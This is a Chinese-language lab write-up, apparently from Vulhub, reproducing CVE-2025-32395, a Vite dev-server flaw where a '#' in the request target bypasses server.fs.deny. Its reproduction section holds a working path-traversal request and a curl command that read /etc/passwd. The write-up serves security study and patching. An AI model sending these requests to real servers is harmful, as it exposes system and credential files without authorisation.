# Vite 开发服务器通过 Hash 字符绕过任意文件读取漏洞 CVE-2025-32395

## 漏洞描述

Vite 是一个现代前端构建工具，为 Web 项目提供更快、更精简的开发体验。它主要由两部分组成：具有热模块替换（HMR）功能的开发服务器，以及使用 Rollup 打包代码的构建命令。

在 Vite 6.2.6、6.1.5、6.0.15、5.4.18 和 4.5.13 版本之前，`server.fs.deny` 功能可以通过在 URL 中使用井号字符（`#`）来绕过。根据 RFC 9112 规范，`#` 字符不允许出现在 HTTP 请求目标字段中。然而，Node.js 和 Bun 并不会拒绝此类无效请求，而是将它们传递给用户代码。Vite 的路径校验未考虑井号字符的影响，导致攻击者可以绕过文件访问限制，读取文件系统上的任意文件。

这个漏洞是 [CVE-2025-30208](https://github.com/vulhub/vulhub/blob/d277a8693e588684e951dddb0733809e53881a3c/vite/CVE-2025-30208/README.zh-cn.md) 补丁的绕过。

参考链接：

- https://github.com/vitejs/vite/security/advisories/GHSA-356w-63v5-8wf4
- https://nvd.nist.gov/vuln/detail/CVE-2025-32395

## 环境搭建

Vulhub 执行以下命令启动 Vite 6.2.5 开发服务器：

```
docker compose up -d
```

服务器启动后，可以通过访问 `http://your-ip:5173` 来访问 Vite 开发服务器。

![](images/Vite%20开发服务器通过%20Hash%20字符绕过任意文件读取漏洞%20CVE-2025-32395/image-20260509134936755.png)

## 漏洞复现

该漏洞允许攻击者利用 HTTP 请求目标中的非法井号字符来绕过 `server.fs.deny` 保护，从而读取服务器文件系统上的任意文件。

首先，向 `http://your-ip:5173/@fs/etc/passwd` 发送请求，验证对允许目录之外的文件的访问会被正确拦截。你应该收到 403 Forbidden 响应：

![](images/Vite%20开发服务器通过%20Hash%20字符绕过任意文件读取漏洞%20CVE-2025-32395/image-20260509135051595.png)

然后，发送以下包含井号字符（`#`）的 HTTP 请求。`#` 会导致 Vite 的 `server.fs.deny` 校验失效，而路径穿越序列（`/../`）则会导航到目标文件：

```
GET /@fs/usr/src/#/../../../../../etc/passwd  HTTP/1.1
Host: 10.8.0.1:5173
Cache-Control: no-cache
Accept: */*
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Origin: http://10.8.0.1:5173
Referer: http://10.8.0.1:5173/
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Pragma: no-cache
Accept-Encoding: gzip, deflate
```

![](images/Vite%20开发服务器通过%20Hash%20字符绕过任意文件读取漏洞%20CVE-2025-32395/image-20260509135131893.png)

由于 `#` 通常被 HTTP 客户端视为 URL 片段分隔符，不会被发送到服务器，因此需要使用 HTTP 调试工具或 curl 的 `--request-target` 参数来发送该原始请求：

```
curl --request-target '/@fs/usr/src/#/../../../../../etc/passwd' http://your-ip:5173
```

服务器将成功返回 `/etc/passwd` 文件的内容。

## 漏洞修复

- 升级至最新版本。
